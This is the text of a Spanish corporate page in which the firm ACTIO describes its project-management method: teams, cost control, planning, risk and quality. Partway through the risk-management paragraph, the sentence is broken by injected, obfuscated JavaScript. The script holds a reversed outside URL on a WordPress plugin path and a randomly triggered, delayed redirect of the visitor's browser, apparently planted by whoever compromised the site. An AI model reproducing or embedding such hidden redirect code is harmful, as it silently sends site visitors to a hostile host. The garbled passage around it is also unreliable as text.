En ACTIO tenemos como misión la creación de Valor Añadido para nuestros clientes, mediante la aplicación profesionalizada de los siguientes principios fundamentales de nuestro Método de Gestión.

    [accordion_toggle title="Implementación de equipos técnicos de alto nivel"]

    ∙  Definición de objetivos de Proyecto realistas y gestión adecuada de expectativas.
    ∙  Perfil del equipo de ACTIO con formación Técnica y en Management.
    ∙  Experiencia en organización de Proyectos.
    ∙  Inmediatez y disponibilidad tanto en medios como en zona geográfica.

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    [accordion_toggle title="Gestión estructurada de Costes"]

    ·  Estrategia de contratación adecuada.
    ∙  Estructuración adecuada del sistema presupuestario.
    ∙  Estricto seguimiento y negociación del coste durante el Proyecto.

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    [accordion_toggle title="Gestión integral del Planning"]

    ∙  Coordinación Unificada del Proyecto y  Ejecución.
    ∙  Correcta asignación de funciones y recursos en todas las etapas del proyecto.
    ∙  Generación y análisis de alternativas de Planificación.

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    [accordion_toggle title="Gestión de Riesgos de Proyecto"]

    Minimización de los riesgos de proyecto, técnicos, económicos, de plazo, legales, laborales, de calidad, seguridad y medioambientales, que se abordan por medio de tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una metodología específica de gestión de riesgos:
    ∙  Estrategia de gestión del riesgo.
    ∙  Identificación de focos de riesgo.
    ∙  Relación de riesgos potenciales.
    ∙  Medidas de supresión, atenuación, transferencia o monitorización del riesgo.

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    [accordion_toggle title="Gestión Sistemática de la Calidad"]

    ∙  Implementación de un sistema de Calidad integral certificado, en la prestación de nuestros servicios.
    ·  Seguimiento metódico mediante la aplicación de metodologías de gestión y ejecución ampliamente desarrolladas.
    ∙  Negociación directa con proveedores e industriales.
    ·  Implementación de “best practices” en eficiencia energética y sostenibilidad.
    ·  Industrialización de los proyectos y la construcción.

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